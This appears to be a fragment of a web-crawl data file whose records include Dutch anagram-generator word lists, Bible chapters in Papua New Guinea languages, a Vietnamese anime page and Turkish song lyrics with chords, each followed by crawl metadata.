anagram moet zitten Zoek Anagrammen! Anagrammen van raad van state met het woord 'at' at daten vaars at staan vader at daver staan at satan vader at daver satan at naast vader at daver naast at avers nadat at nadat veras at aards vaten at daast ervan at daast varen at daast raven at nadar savet at nadar vaste at raadt saven at aardt saven at sedan vraat at sedan vaart at raden vaats at narde vaats at nader vaats at ander vaats at arden vaats at arend vaats at date vsnaar at taan vaders at aast varend at aast draven at data varens at data ravens at adat varens at adat ravens at sant vaarde at nats vaarde at naders vaat at sarden vaat at radens vaat at andres vaat at danser vaat at anders vaat at aardas vent at daarna vest at naad vertas at naad versta at naad vaster at advent sara at advent aras at aars advent at daas vraten at daas traven at daar vasten at daar staven at raad vasten at raad staven at aard vasten at aard staven at staand vare at aarden vast at naarst veda at ratnas veda at aanvat dres at radste vaan at danaes vrat at aasden vrat at nadert vaas at tarnde vaas at darten vaas at traden vaas at avas nadert at avas tarnde at avas darten at avas traden at danste vaar at dantes vaar at aanvet dras at daarvan ets at ets vandaar at daarvan set at set vandaar at daarvan tes at tes vandaar at tas vaarden at tas veranda at tas verdaan at sta vaarden at sta veranda at sta verdaan at aas vetrand at aanvrat des at raasden vat at andreas vat at das vaarten at staarde van at staande var at at verandas at aardvast en at das ent vaar at dra ent vaas at avas dra ent at dar ent vaas at avas dar ent at ent rad vaas at avas ent rad at daas ent var at das net vaar at dra net vaas at avas dra net at dar net vaas at avas dar net at net rad vaas at avas net rad at daas net var at das ten vaar at dra ten vaas at avas dra ten at dar ten vaas at avas dar ten at rad ten vaas at avas rad ten at daas ten var at dan ets vaar at dra ets vaan at dar ets vaan at ets rad vaan at daar ets van at ets raad van at aard ets van at ets naad var at dan set vaar at dra set vaan at dar set vaan at rad set vaan at daar set van at raad set van at aard set van at naad set var at dan tes vaar at dra tes vaan at dar tes vaan at rad tes vaan at daar tes van at raad tes van at aard tes van at naad tes var at dan ter vaas at avas dan ter at das ter vaan at daas ter van at dras eva nat at des nat vaar at nat red vaas at avas nat red at der nat vaas at avas der nat at nat sar veda at nat ras veda at das nat vare at aves dra nat at dra nat save at dra evas nat at aves dar nat at dar nat save at dar evas nat at aves nat rad at nat rad save at evas nat rad at daas nat ver at desa nat var at dat era vans at dans era vat at dan era vast at era stad van at are dat vans at are dans vat at are dan vast at are stad van at eva rand tas at end tas vaar at den tas vaar at red tas vaan at der tas vaan at nar tas veda at dan tas vare at daar tas ven at raad tas ven at aard tas ven at naad tas ver at arde tas van at rade tas van at ader tas van at eva rand sta at end sta vaar at den sta vaar at red sta vaan at der sta vaan at nar sta veda at dan sta vare at daar sta ven at raad sta ven at aard sta ven at naad sta ver at arde sta van at rade sta van at ader sta van at aan dat vers at aan dras vet at aan des vrat at aan dres vat at aan red vast at aan der vast at aan dra vest at aan dar vest at aan rad vest at aan stad ver at dans eva rat at end rat vaas at avas end rat at den rat vaas at avas den rat at des rat vaan at nas rat veda at aves dan rat at dan rat save at dan evas rat at daas rat ven at desa rat van at art dans eva at art end vaas at art avas end at art den vaas at art avas den at art des vaan at art nas veda at art aves dan at art dan save at art dan evas at art daas ven at art desa van at dans eva tra at end tra vaas at avas end tra at den tra vaas at avas den tra at des tra vaan at nas tra veda at aves dan tra at dan save tra at dan evas tra at daas tra ven at desa tra van at aas rand vet at aas end vrat at aas den vrat at aas nerd vat at aas trad ven at aas dart ven at aas dra vent at aas dar vent at aas rad vent at aas tand ver at aas redt van at aas tred van at dat nes vaar at dat sen vaar at dat ren vaas at avas dat ren at dat eva rans at dat nas vare at aves dat nar at dat nar save at dat evas nar at dat sara ven at aras dat ven at aars dat ven at dat eras van at dat sera van at aar dans vet at ara dans vet at daar nas vet at nas raad vet at aard nas vet at daas nar vet at dan sara vet at aras dan vet at aars dan vet at naad sar vet at naad ras vet at das naar vet at daar nes vat at nes raad vat at aard nes vat at dra nes vaat at dar nes vaat at nes rad vaat at data nes var at adat nes var at daar sen vat at raad sen vat at aard sen vat at dra sen vaat at dar sen vaat at rad sen vaat at data sen var at adat sen var at aar end vast at aar den vast at aar dan vest at aar stad ven at aar das vent at ara end vast at ara den vast at ara dan vest at ara stad ven at ara das vent at daas ren vat at das ren vaat at eva nas trad at dart eva nas at eva nar stad at dan eva sart at dan eva rast at arts dan eva at dan eva rats at dan eva star at dan eva tras at eva sar tand at eva ras tand at das eva nart at das eva tarn at dra eva sant at dra eva nats at dar eva sant at dar eva nats at eva rad sant at eva nats rad at end sara vat at aras end vat at aars end vat at end sar vaat at end ras vaat at aast end var at den sara vat at aras den vat at aars den vat at den sar vaat at den ras vaat at aast den var at des naar vat at des nar vaat at des raat van at des rata van at aart des van at des taan var at arde nas vat at nas rade vat at ader nas vat at desa nar vat at dan eras vat at dan sera vat at das erna vat at das nare vat at aren das vat at nas red vaat at der nas vaat at data nas ver at adat nas ver at date nas var at aast red van at aast der van at aast dan ver at dan teas var at dan sate var at data sar ven at adat sar ven at data ras ven at adat ras ven at das raat ven at das rata ven at aart das ven at aast dra ven at aast dar ven at aast rad ven at date sar van at date ras van at das taan ver at aten das var at ante das var at dra teas van at dra sate van at dar teas van at dar sate van at rad teas van at rad sate van at at de vsnaar at at na vaders at as at varend at as at draven at as davert na at as na vadert at dan te vaars at aards te van at at end vaars at at den vaars at at nas vader at at daver nas at at avers dan at at dan veras at aards at ven at at das ervan at at das varen at at das raven at at dra saven at at dar saven at at rad saven at aders at van at adres at van at at sarde van at at sedan var at dat en vaars at aards en vat at das en vraat at das en vaart at dra en vaats at dar en vaats at en rad vaats at daast en var at es nadar vat at dan es vraat at dan es vaart at es raadt van at aardt es van at es nadat var at dan er vaats at daast er van at de nat vaars at de naars vat at de snaar vat at de nas vraat at de nas vaart at de nar vaats at de rasta van at de staar van at de raast van at de tsaar van at de staan var at de satan var at de naast var at na tas vader at daver na tas at na sta vader at daver na sta at avers dat na at dat na veras at aards na vet at darts eva na at eva na radst at drast eva na at des na vraat at des na vaart at aders na vat at adres na vat at na sarde vat at na red vaats at der na vaats at dra na savet at dra na vaste at dar na savet at dar na vaste at na rad savet at na rad vaste at daast na ver at dates na var at as nat vader at as daver nat at as dat ervan at as dat varen at as dat raven at as nadar vet at as eva randt at as end vraat at as end vaart at as den vraat at as den vaart at as raden vat at as narde vat at as nader vat at ander as vat at arden as vat at arend as vat at as raadt ven at aardt as ven at as dra vaten at as dar vaten at as rad vaten at as nadat ver at adert as van at as tarde van at as daten var at daar te vans at raad te vans at aard te vans at dras te vaan at rand te vaas at avas rand te at dans te vaar at arde at vans at at rade vans at ader at vans at at naad vers at at aves rand at at rand save at at evas rand at at dans vare at at nerd vaas at at avas nerd at at rans veda at at dres vaan at dras en vaat at en stad vaar at en trad vaas at avas en trad at dart en vaas at avas dart en at daas en vrat at daar en vast at en raad vast at aard en vast at es rand vaat at es tand vaar at es naad vrat at es trad vaan at dart es vaan at data er vans at adat er vans at dans er vaat at er tand vaas at avas er tand at er stad vaan at er naad vast at de raat vans at de rata vans at aart de vans at de sant vaar at de nats vaar at de nart vaas at avas de nart at de tarn vaas at avas de tarn at de rans vaat at de sart vaan at de rast vaan at arts de vaan at de rats vaan at de star vaan at de tras vaan at de naar vast at data na vers at adat na vers at na redt vaas at avas na redt at na tred vaas at avas na tred at desa na vrat at dres na vaat at na sart veda at na rast veda at arts na veda at na rats veda at na star veda at na tras veda at arde na vast at na rade vast at ader na vast at na stad vare at daar na vest at na raad vest at aard na vest at aves na trad at na save trad at evas na trad at aves dart na at dart na save at dart evas na at as redt vaan at as tred vaan at as nart veda at as tarn veda at as nerd vaat at as tand vare at as daar vent at as raad vent at aard as vent at das na te var at as dan te var at as dra te van at as dar te van at as rad te van at at das en var at at dan es var at at dra es van at at dar es van at at es rad van at at das er van at at de nas var at at de sar van at at de ras van at at des na var at at das na ver at as at end var at as at den var at as at red van at as at der van at as at dan ver at as at dra ven at as at dar ven at as at rad ven at as dat en var at as dra en vat at as dar en vat at as en rad vat at dat es na var at dra es na vat at dar es na vat at es na rad vat at das er na vat at as dat er van at as dan er vat at de na tas var at de na sta var at de na sar vat at de na ras vat at as de nat var at as de rat van at art as de van at as de tra van at as de nar vat at as dat na ver at as dra na vet at as dar na vet at as na rad vet at as na red vat at as der na vat Anagrammen van raad van state met at - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.anagrammen.com\/van\/raad+van+state\/met\/at","date":"2022-01-19T13:42:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00255.warc.gz","language":"mmx","language_score":0.5467764735,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.5467764735221863, \"ebk_Latn_score\": 0.37666425108909607, \"sps_Latn_score\": 0.04989086091518402}","num_words":2567,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"8\nLaasen Silok At Ne Moroa Mi Laasen At Limixin\n1 Leeme Silok, nenu xusuk mun Leeme Silok atnema. Limixin axap at na lavatbung menemen di ven lempanga uga rudum li i, la kerepmo di ven kibis i do nu u silok aleng. Leemi asu saparav u di ronga i rovana at lebelen laxalibet. 2 Laxamdak mi laxaalik kakalik dik pixan emi asu minu la lubungkadede bok. Uga bos loroboro ri lok pe lebelemamao at limixin dit kis munepen minu la atnedi dik sok tixirixes kepe levelinga ram.\n3 Dola a ven laxalibet nu ga rudum li i, lagaaling mi laxampenti uga vaxaxis di at levengkot atnedi la am doma xeretna. 4 Limixin nedi lempanga salai, la uram doma mu solo di. Nedi lempanga gamasa mun, ketla uk lok tatao avukat tino di.\n5 Nenu uga raba di mi lolos pana at lempanga axap, ketla lolos atdi i lixilik mun ti lolos taram ne Moroa. La uga lox asilok di mi levenasen silok la lisisinang nunuan. 6 Uga lok katling di xusu dinam gomgonga levempanga axap nu ga rudum li i. Uga lox asilox di mavana at levempanga axap, 7 i ngan levesipsip, laxanbulumaxao, la laxampanga sio axap bok at laxairing, 8 la lavapixa mi levenmat, la levempanga axap at lebelen laras.\n9 O Leeme Silok, nenu xusuk mun Leeme Silok atnema. Limixin axap at na lavatbung menemen di ven lempanga uga rudum li i, la kerepmo di ven kibis i do nu u silok aleng.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA008.htm","date":"2022-05-16T04:19:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00062.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":236,"character_repetition_ratio":0.073,"word_repetition_ratio":0.203,"special_characters_ratio":0.216,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van greg van avermaet met het woord 'ramen' ramen veegt vraag ramen gevet vraag ramen gevat vager ramen gaver gevat ramen gevat verga ramen garve gevat ramen agave vergt ramen vaagt veger ramen gever vaagt ramen geve vraagt ramen vege vraagt ramen veeg vraagt ramen gage vervat ramen vage vergat ramen gave vergat ramen gaga vervet ramen gevaat verg ramen gevraag vet ramen gag vee vrat ramen erg vaag vet ramen gaga ver vet ramen rag vage vet ramen gave rag vet ramen gage var vet ramen gag vare vet ramen eva tag verg ramen eva gat verg ramen tag vage ver ramen gave tag ver ramen geve tag var ramen tag var vege ramen tag var veeg ramen gat vage ver ramen gat gave ver ramen gat geve var ramen gat var vege ramen gat var veeg ramen erg vage vat ramen erg gave vat ramen gage vat ver ramen geve rag vat ramen rag vat vege ramen rag vat veeg ramen egge var vat ramen gag vat veer ramen gag vat vree ramen ever gag vat ramen erve gag vat ramen gag var vete ramen ga ga vervet ramen ga vager vet ramen ga gaver vet ramen ga verga vet ramen ga garve vet ramen eva ga vergt ramen ga vat veger ramen ga gever vat ramen ga gevat ver ramen ga var veegt ramen ga gevet var ramen te vaag verg ramen at vage verg ramen at gave verg ramen ga geve vrat ramen ga vege vrat ramen ga veeg vrat ramen ga ga ver vet Anagrammen van greg van avermaet met ramen - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.anagrammen.com\/van\/greg+van+avermaet\/met\/ramen","date":"2022-06-26T14:01:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103269583.13\/warc\/CC-MAIN-20220626131545-20220626161545-00698.warc.gz","language":"mmx","language_score":0.4377239048,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 0.43772390484809875, \"omb_Latn_score\": 0.271011620759964, \"ckm_Latn_score\": 0.08078472316265106, \"bzh_Latn_score\": 0.07741358131170273, \"kup_Latn_score\": 0.022697504609823227, \"pma_Latn_score\": 0.012476489879190922, \"mui_Latn_score\": 0.012147746048867702, \"upv_Latn_score\": 0.010952266864478588}","num_words":293,"character_repetition_ratio":0.155,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.473,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van greg van avermaet met het woord 'vemen' vemen trage vraag vemen gerat vraag vemen gaver graat vemen garve graat vemen graat vager vemen graat verga vemen gaver traag vemen garve traag vemen traag vager vemen traag verga vemen gaver raagt vemen garve raagt vemen raagt vager vemen raagt verga vemen gaart gaver vemen gaart garve vemen gaart vager vemen gaart verga vemen grage vaart vemen agger vaart vemen grage vraat vemen agger vraat vemen aagt graver vemen aagt vrager vemen gaat graver vemen gaat vrager vemen grager vaat vemen rage vraagt vemen gare vraagt vemen gevaar ragt vemen ragt ravage vemen garage vrat vemen raag vergat vemen gaar vergat vemen raga vergat vemen tagger vaar vemen trager vaag vemen art gevraag vemen gevraag tra vemen gevraag rat vemen gat vergaar vemen tag vergaar vemen rag vergaat vemen graagte var vemen ervaart gag vemen ga vergaart vemen ga vertraag vemen rag ter vaag vemen gaga ter var vemen gag ter vaar vemen are gag vrat vemen era gag vrat vemen art erg vaag vemen art gaga ver vemen art gave rag vemen art rag vage vemen art gage var vemen art gag vare vemen erg tra vaag vemen gaga tra ver vemen gave rag tra vemen rag tra vage vemen gage tra var vemen gag tra vare vemen erg rat vaag vemen gaga rat ver vemen gave rag rat vemen rag rat vage vemen gage rat var vemen gag rat vare vemen raag rag vet vemen gaar rag vet vemen rag raga vet vemen gag rara vet vemen gag raar vet vemen ara gat verg vemen ara tag verg vemen aar gat verg vemen aar tag verg vemen eva rag ragt vemen erg gat vaar vemen gat raag ver vemen gaar gat ver vemen gat raga ver vemen gat rag vare vemen gat rage var vemen gare gat var vemen erg tag vaar vemen raag tag ver vemen gaar tag ver vemen raga tag ver vemen rag tag vare vemen rage tag var vemen gare tag var vemen erg raag vat vemen erg gaar vat vemen erg raga vat vemen rag rage vat vemen gare rag vat vemen arre gag vat vemen gag rare vat vemen erg rag vaat vemen aagt erg var vemen erg gaat var vemen aagt rag ver vemen gaat rag ver vemen aart gag ver vemen gag rata ver vemen gag raat ver vemen gate rag var vemen at ga graver vemen at ga vrager vemen er ga vraagt vemen rag te vraag vemen graag te var vemen at erg vraag vemen at graag ver vemen at gaver rag vemen at garve rag vemen at rag vager vemen at rag verga vemen at grage var vemen agger at var vemen er gat vraag vemen er tag vraag vemen er graag vat vemen er rag vaagt vemen er gag vaart vemen er gag vraat vemen ga ter vraag vemen art ga gaver vemen art ga garve vemen art ga vager vemen art ga verga vemen ga gaver tra vemen ga garve tra vemen ga tra vager vemen ga tra verga vemen ga gaver rat vemen ga garve rat vemen ga rat vager vemen ga rat verga vemen ara ga vergt vemen aar ga vergt vemen erg ga vaart vemen erg ga vraat vemen ga graat ver vemen ga traag ver vemen ga raagt ver vemen ga gaart ver vemen ga trage var vemen ga gerat var vemen at raag verg vemen at gaar verg vemen at raga verg vemen er ragt vaag vemen er gaga vrat vemen aart ga verg vemen ga rata verg vemen ga raat verg vemen ga terg vaar vemen ga rage vrat vemen ga gare vrat vemen ga ragt vare vemen ga rag te var vemen at er gag var vemen at erg ga var vemen at ga rag ver vemen er ga gat var vemen er ga tag var vemen er ga rag vat vemen ga ga ter var vemen art ga ga ver vemen ga ga tra ver vemen ga ga rat ver Anagrammen van greg van avermaet met vemen - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.anagrammen.com\/van\/greg+van+avermaet\/met\/vemen","date":"2022-06-28T06:10:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103355949.26\/warc\/CC-MAIN-20220628050721-20220628080721-00346.warc.gz","language":"mmx","language_score":0.495765835,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.4957658350467682, \"kup_Latn_score\": 0.10375575721263885, \"mnx_Latn_score\": 0.08218694478273392, \"dgz_Latn_score\": 0.058061640709638596, \"omb_Latn_score\": 0.04757807403802872, \"nld_Latn_score\": 0.02762691117823124, \"wnu_Latn_score\": 0.02355305291712284, \"gmh_Latn_score\": 0.021542863920331, \"bzh_Latn_score\": 0.01842743717133999, \"bre_Latn_score\": 0.013234555721282959, \"nvm_Latn_score\": 0.011261957697570324, \"nbq_Latn_score\": 0.010477950796484947}","num_words":706,"character_repetition_ratio":0.164,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Thông tin phim\nTừ khóa:Kimi ga Nozomu EienRumbling Hearts | The Eternity You Wish For | Kimiga Nozomu Eien | KimiNozo fullKimi ga Nozomu Eien hay nhấtKimi ga Nozomu Eien vietsubxem Kimi ga Nozomu Eien onlineanime Kimi ga Nozomu Eien trọn bộKimi ga Nozomu Eien việt subxem anime Kimi ga Nozomu Eienxem anime Kimi ga Nozomu Eien full tậpxem anime Kimi ga Nozomu Eien hdxem anime Kimi ga Nozomu Eien tiếng việtxem anime Kimi ga Nozomu Eien tập cuốidownload anime Kimi ga Nozomu Eientai anime Kimi ga Nozomu Eien\nPhim liên quan\nHôm Nay Xem Gì?","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/animet.net\/phim-kimi-ga-nozomu-eien-2910.html","date":"2022-08-07T21:31:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882570730.59\/warc\/CC-MAIN-20220807211157-20220808001157-00225.warc.gz","language":"mmx","language_score":0.4241943359,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.4241943359375, \"vie_Latn_score\": 0.3526659309864044, \"kto_Latn_score\": 0.05098772794008255, \"ewo_Latn_score\": 0.021583721041679382, \"nsm_Latn_score\": 0.0211994256824255, \"vec_Latn_score\": 0.019414735957980156}","num_words":93,"character_repetition_ratio":0.379,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.574,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Em A Dillirgadan gece geçtim suyundan içtim Em C D Em Badem gözlü bir yar sevdim kendimden geçtim D Lara lay la la li la li la lay lara lay la la li la li la lay Lara lay la la li la li la lay la la li la li la C D Em Lay la la li la li la lay Em A Dillirganın tepeleri denize bakar Em C D Em Köy kızları saçlarına çiçekler takar D Lara lay la la li la li la lay lara lay la la li la li la lay Lara lay la la li la li la lay la la li la li la C D Em Lay la la li la li la lay Em A Çilek üzüm diyarısın nazlı bir yarsın Em C D Em Mavi dalgalar boyunca sen uzanırsın D Lara lay la la li la li la lay lara lay la la li la li la lay Lara lay la la li la li la lay la la li la li la C D Em Lay la la li la li la lay\nBu içerik eğitim amaçlıdır. Tüm hakları kendi sahiplerine\naittir. Telif ihlali olduğunu düşündüğünüz içerikler için\nbizimle iletişime geçiniz.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.yazmaca.com\/anonim-turkuler-dillirga-akor\/","date":"2022-08-12T15:51:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571719.48\/warc\/CC-MAIN-20220812140019-20220812170019-00206.warc.gz","language":"mmx","language_score":0.3629941642,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.36299416422843933, \"mfe_Latn_score\": 0.2265911102294922, \"bvz_Latn_score\": 0.10030671209096909, \"wol_Latn_score\": 0.05018838122487068, \"arb_Latn_score\": 0.047287698835134506, \"mcn_Latn_score\": 0.038541778922080994, \"crh_Latn_score\": 0.028003698214888573, \"kmr_Latn_score\": 0.023699570447206497, \"kus_Latn_score\": 0.017502566799521446, \"gur_Latn_score\": 0.01719983108341694, \"tnr_Latn_score\": 0.012773658148944378, \"tur_Latn_score\": 0.010930647142231464}","num_words":203,"character_repetition_ratio":0.347,"word_repetition_ratio":0.577,"special_characters_ratio":0.256,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":0.742,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"28\nPol ixo ösö Malta\n1 Niang e mem moxoro ösö, mem moxo ösöxö lo bara toxo tengen ina muxulamin 'Malta'. 2 A nangadi meringan toxo marase xöbanin e mem. Me idi toxo usumot a ia sösöt me idi toxo öga e mem kirip, möxösa, ixo baraa ma ixo sisii. 3 Io, Pol ixo iiögun a wöxö xaxut, ma nang ixo bulus öxaa xö ia sösöt, önga si niang a lak piöt ixo ulo su möxö ia sösöt lelewi, ma ixo kat dik a limine. 4 Ma nang bara a nangadi meringan kö muxulamin toxo pere a si ixo taba sik kö limine, idi toxo tenge kaluluonin idi iat bara, \"I wawara bara a tödi na ine ibo sesexomet a nangadi. Ma i turunon bara ine i kobo met kö rasi, lamun a god ewe nang ibo babalu wuxus a nangadi xöbo tatalien saban te idi, i kobo ömaraxen ina tödi na bara irabo to.\" 5 Lamun e Pol ixo same rewe a si urungan kö ia sösöt ma kaim kö xikip pe sasaban möxönan. 6 Idi toxo döxömen bara irabo u-ung a limine ma bara irabo subu saxit ma irabo met. Ma lamun idi toxo xixiset kö axana bung ömat ma kaim pe laa saban ixo ot te ine, io, idi toxo dödöm puxus, me idi toxo tengen bara ine a önga god.\n7 A sisila möxö ina muxulamin, e Pubilius. Mabo gunon te ine te kis lörörö. Ine ixo öga e mem urungan kö gunon te ine, ma xö narun ne bung mem moxo kis ne osee xö gunon tine, me ine ixo deek ke mem. 8 A tamana ine ixo maru sik ma miniset. Ine ixo malao ma ixo bala sasan bölök. Io, Pol ixo laxa muu ine ma ixo seseng ke ine. Melamu nang ixo seseng sik ixo bulus a limine lömö rine ma ixo ölanglanga ine. 9 Nang bara laa na ixo ot, abo miniset kabise meringan kö muxulamin idi toxo wanot me Pol ixo ölanglanga idi. 10 Idi toxo top ödeek e mem mabo oleleng ne lalaa, ma nang bara mem moxo tagur tua nuan kö mön, idi toxo tabaa e mem mabo lalaa mem moxo sasaxan ulamun.\nPol ixo wanot tuso Rom\n11 Melamu xö narun ne texe ringan kö muxulamin, mem moxo kakaa lo xö önga mön nang ixoro xiset tewe a axana bung bara a xiki iri kawam. A mön meruso Aleksendria, mesila xö nang toxo tais puo a nine narön xasang ne god, e Kastor me Poluk. 12 Me mem moxo ösö ro Sirakius, io, mem moxo kis kö narun ne bung kingan. 13 Meringan, mem moxo wan lo me mem moxo ösö ruso Regium. Xö bung melamu a labur ixo wanot, io, ma bung melamu xönan mem moxo ösö ro Putioli. 14 Ringan mem moxo pere lo a dauleng ne Kristien, me idi toxo öga lo e mem bara mem marabo kis kö pitnö ma ninöng ne bung arixe me idi. Io, mem moxo wan uruso Rom. 15 Abo Kristien meringan toxoro ölangen bara mem marabo wanot, me idi toxo esuo me mem kö lagunon tobo rengrengen ma 'Misik ke Apius'. Ma dauleng toxo wanot kö lagunon tobo rengrengen me 'Narun ne Gunon Osee'. Bara Pol ixo pere idi, ixo tengen deek ke God ma ixo kip a öxaxat meringan te idi. 16 Ma niang bara mem moxo wanot tuso Rom, idi toxo ömaraxen lo e Pol bara ine xalik irabo kis ma önga umri rua werwere muu ine.\nPol ixo wöwörö mabo Judeia ruso Rom\n17 Kö narun ne bung melamu, Pol ixo kuwe etok abo sisila möxöbo Judeia. Nang idi toxo ot etok, ine ixo tengen tö idi, \"Abo töke, e kobo pet te sasaban urungan kö nangadi re ire, bara urungan bölök köbo tatalien möxöbo untubu re ire, inexalik toxo öxös e ro Jerusalem ma toxo isik e xöbo limine idi abo Rom. 18 Idi abo Rom toxo ose mumuu e bara a lasa runon e xo pet me idi toxo mamaa ra palas tewe e, möxö idi toxo pere bara kaim pe laa bara e rabo iuo xelen. 19 Ma nang bara abo Judeia toxo mölök bara tabo palas tewe e, io, ina dinödöm niang ixo sidien e rua seseng e Kaisar, a king taxin mee Rom, rua ölangen e. Inexalik e kaim kö wewet ne wupuk kö nangadi re e mee Israel. 20 E xo ose ra werwere e mum ma tinenge arixe me mum, möxösa, e xo mamaa bara mum morobo maras kö unine bara toxo kubus e ma ina uno lölös na. A unine niang toxo kubus e i bira: ire abo Israel ire te xixiset ma Mesaia.\"\n21 Me idi toxo balu, \"Mem kaim kö xikip pe ginigeet meruso Judeia rue nöngön. Ma kaim pe önga tönö ire abo Judeia ixo tenge saban rue nöngön. 22 Lamun mem me mamaa ra ölangen abo dinödöm pe nöngön, möxö mem me ösöxö bara a nangadi xö boxönö te tengen ögat ina mangana lotu u xoro laxa xönan.\"\n23 Io, idi toxo kubus önga bung bara idi tabo kis baling me Pol. Ma nangadi oleleng saxit toxo wanot kö ina bung urungan kö ina xönö e Pol ixo xisixis könan. Urulo xö puxu ot kö aien, Pol ixo palas tinenge ulamun a kingdom kö God urungan tö idi, ma ixo rörörön lölös sua öturunon te idi meringan köbo warkurai te Moses ma xöbo ginigeet köbo propet bere Jisas ine ewe. 24 Pol ixo eöt ta öturunon e Jisas kö dauleng ke idi xöbo tinenge re ine, lamun a dauleng kabise toxo kumamaa bara idi tabo nunu. 25 Idi toxo egot kaluluonin idi iat, möxösa, idi angen ma nine dinödöm, me idi toxo taru lo ra nuan melamu bere Pol ixo tenge ot mina tinenge rua öxawam abo tinenge re ine. Me ine ixo tengen bira: \"A Töxödös ne Tanono ixo tengen a turunon köbo untubu mum nang ixo tengen meringan kö ngalana e propet Aisaia bira:\n26 'Örö wan pösöt inabo nangadi na ma örobo tengen,\n\"Mum morobo ölangen ma ölangen, ma lamun mum korobo ölangen kulen te laa,\nme mum morobo wawara ma wawara, lamun mum korobo perexulen te laa,\"\n27 möxösa, ina nangadi na te ölölös a baladi.\nIdi te mölök ka ölöngö ma talingine idi,\nme idi te baxut abo marna idi,\nxalik idi texere perexulen mabo marna idi,\nma texere ölangen kulen mabo talingine idi,\nma texere ösöxö xulen kölöme xö baladi,\nma texere tawuxus, me e xere öro idi.'\n28 \"Io lamun ina na, e mamaa bere mum morobo ösöxö bere God ixo tile ina tinörön ne aöro urungan te idi a nangadi nang kaim bara abo Judeia, me idi tabo ölangen kulen ine.\"* Dauleng ne ginigeet mesila idi toxo bulus ölaxa xö rina 29 i tengen bira: Ma nang bara ixoro tengen ina na, abo Judeia toxo wan me idi toxo egot kaluluon te idi. 30 Me Pol ixo kis eöt ma nine awat kudun kö ngasiene nang ixobo iisik a tuluwok bara irabo eöt tua kinis ee. Ma ixo öga lo idi xirip ewe iang idi toxo önan ta werwere ine. 31 Ma ixo palas tinenge ulamun a kingdom kö God ma ixo eusu ulamun e Jisas Krais, a Orong. Ixo pet ma balamasa ma kaim pe öng ixo panak ine.\n*28:28 Dauleng ne ginigeet mesila idi toxo bulus ölaxa xö rina 29 i tengen bira: Ma nang bara ixoro tengen ina na, abo Judeia toxo wan me idi toxo egot kaluluon te idi.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/png.bible\/bjk\/ACT28.htm","date":"2023-02-02T02:11:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499954.21\/warc\/CC-MAIN-20230202003408-20230202033408-00607.warc.gz","language":"mmx","language_score":0.385335356,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.38533535599708557, \"kao_Latn_score\": 0.04741506651043892, \"tvk_Latn_score\": 0.03629220277070999, \"byx_Latn_score\": 0.032592955976724625, \"kqw_Latn_score\": 0.024876363575458527, \"hla_Latn_score\": 0.02371692843735218, \"frd_Latn_score\": 0.019200734794139862, \"tiy_Latn_score\": 0.015919899567961693, \"kea_Latn_score\": 0.015587174333631992, \"bch_Latn_score\": 0.01553678885102272, \"dhv_Latn_score\": 0.01417180709540844, \"ury_Latn_score\": 0.011933425441384315, \"tpz_Latn_score\": 0.011511679738759995, \"apr_Latn_score\": 0.011492697522044182, \"eka_Latn_score\": 0.010883469134569168, \"gai_Latn_score\": 0.010842585004866123, \"pss_Latn_score\": 0.010075484402477741}","num_words":1213,"character_repetition_ratio":0.054,"word_repetition_ratio":0.038,"special_characters_ratio":0.239,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.353,"perplexity_score":500.0,"cluster_detection":-1} 